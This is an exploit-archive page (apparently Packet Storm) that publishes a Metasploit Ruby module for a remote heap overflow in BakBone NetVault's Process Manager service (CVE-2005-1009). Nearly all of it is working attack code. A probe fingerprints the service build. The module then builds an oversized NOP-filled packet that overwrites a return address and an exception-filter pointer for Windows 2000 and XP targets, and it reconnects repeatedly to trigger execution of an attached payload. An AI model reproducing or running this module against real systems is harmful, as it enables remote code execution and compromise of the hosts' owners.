exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

BakBone NetVault Remote Heap Overflow

BakBone NetVault Remote Heap Overflow
Posted Nov 26, 2009
Authored by H D Moore, nolimit | Site metasploit.com

This Metasploit module exploits a heap overflow in the BakBone NetVault Process Manager service. This code is a direct port of the netvault.c code written by nolimit and BuzzDee.

tags | exploit, overflow
advisories | CVE-2005-1009
SHA-256 | abb3356d348f4bf759c98838cbffce838b11685877ba40eb30c6f1e41e563425

BakBone NetVault Remote Heap Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'BakBone NetVault Remote Heap Overflow',
'Description' => %q{
This module exploits a heap overflow in the BakBone NetVault
Process Manager service. This code is a direct port of the netvault.c
code written by nolimit and BuzzDee.
},
'Author' => [ 'hdm', '<nolimit.bugtraq[at]ri0tnet.net>' ],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2005-1009'],
['OSVDB', '15234'],
['BID', '12967'],
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x20",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 SP4 English', { 'Ret' => 0x75036d7e, 'UEF' => 0x7c54144c } ],
['Windows XP SP0/SP1 English', { 'Ret' => 0x7c369bbd, 'UEF' => 0x77ed73b4 } ],
],

'Privileged' => false,
'DisclosureDate' => 'Apr 01 2005'
))

register_options(
[
Opt::RPORT(20031)
], self.class)
end

def check
connect

hname = "METASPLOIT"
probe =
"\xc9\x00\x00\x00\x01\xcb\x22\x77\xc9\x17\x00\x00\x00\x69\x3b\x69" +
"\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69" +
"\x3b\x73\x3b\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00" +
"\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" +
[ hname.length + 1 ].pack('V') + hname + "\x00"
probe += "\x00" * (201 - probe.length)

sock.put(probe)
res = sock.get_once(1, 10)

off = (res || '').index("NVBuild")

if off
off += 21
ver = res[off + 4, res[off, 4].unpack('V')[0]].to_i

if ver > 0
print_status("Detected NetVault Build #{ver}")
return Exploit::CheckCode::Detected
end
end

return Exploit::CheckCode::Safe
end

def exploit
print_status("Trying target #{target.name}...")

head =
"\x00\x00\x02\x01\x00\x00\x00\x8f\xd0\xf0\xca\x0b\x00\x00\x00\x69" +
"\x3b\x62\x3b\x6f\x3b\x6f\x3b\x7a\x3b\x00\x11\x57\x3c\x42\x00\x01" +
"\xb9\xf9\xa2\xc8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01\xa5\x97" +
"\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x10" +
"\x02\x4e\x3f\xac\x14\xcc\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +
"\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00" +
"\x00\x10\x02\x4e\x3f\xc0\xa8\xea\xeb\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x01\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20" +
"\x00\x00\x00\x10\x02\x4e\x3f\xc2\x97\x2c\xd3\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\xb9\xf9\xa2\xc8\x02\x02\x00\x00\x00\xa5\x97\xf0\xca" +
"\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x04\x02\x4e" +
"\x3f\xac\x14\xcc\x0a\xb0\xfc\xe2\x00\x00\x00\x00\x00\xec\xfa\x8e" +
"\x01\xa4\x6b\x41\x00\xe4\xfa\x8e\x01\xff\xff\xff\xff\x01\x02"

pattern = make_nops(39947) + "\x00\x00\x00"
p = payload.encoded

pattern[0, head.length] = head
pattern[32790, 2] = "\xeb\x0a"
pattern[32792, 4] = [ target.ret ].pack('V')
pattern[32796, 4] = [ target['UEF'] ].pack('V')
pattern[32800, p.length] = p

sent = 0
try = 0

15.times {
try += 1
connect
sent = sock.put(pattern)
disconnect
break if sent == pattern.length
}

if (try == 15)
print_error("Could not write full packet to server.")
return
end

print_status("Overflow request sent, sleeping fo four seconds (#{try} tries)")
sleep(4)

print_status("Triggering memory overwrite by reconnecting...")

begin
10.times { |x|
connect
sock.put(pattern)
print_status(" Completed connection #{x}")
sock.get_once(1, 1)
disconnect
}
rescue
end

print_status("Waiting for payload to execute...")

handler
disconnect
end

def wfs_delay
5
end

end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close